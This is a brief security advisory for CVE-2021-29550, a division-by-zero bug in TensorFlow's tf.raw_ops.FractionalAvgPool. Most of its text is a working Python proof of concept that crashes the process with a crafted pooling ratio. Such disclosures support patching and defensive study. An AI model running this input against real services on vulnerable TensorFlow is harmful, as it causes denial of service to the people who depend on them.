CVE-2021-29550: Division by 0 in `FractionalAvgPool`
(updated )
An attacker can cause a runtime division by zero error and denial of service in tf.raw_ops.FractionalAvgPool:
import tensorflow as tf
value = tf.constant([60], shape=[1, 1, 1, 1], dtype=tf.int32)
pooling_ratio = [1.0, 1.0000014345305555, 1.0, 1.0]
pseudo_random = False
overlapping = False
deterministic = False
seed = 0
seed2 = 0
tf.raw_ops.FractionalAvgPool(
value=value, pooling_ratio=pooling_ratio, pseudo_random=pseudo_random,
overlapping=overlapping, deterministic=deterministic, seed=seed, seed2=seed2)
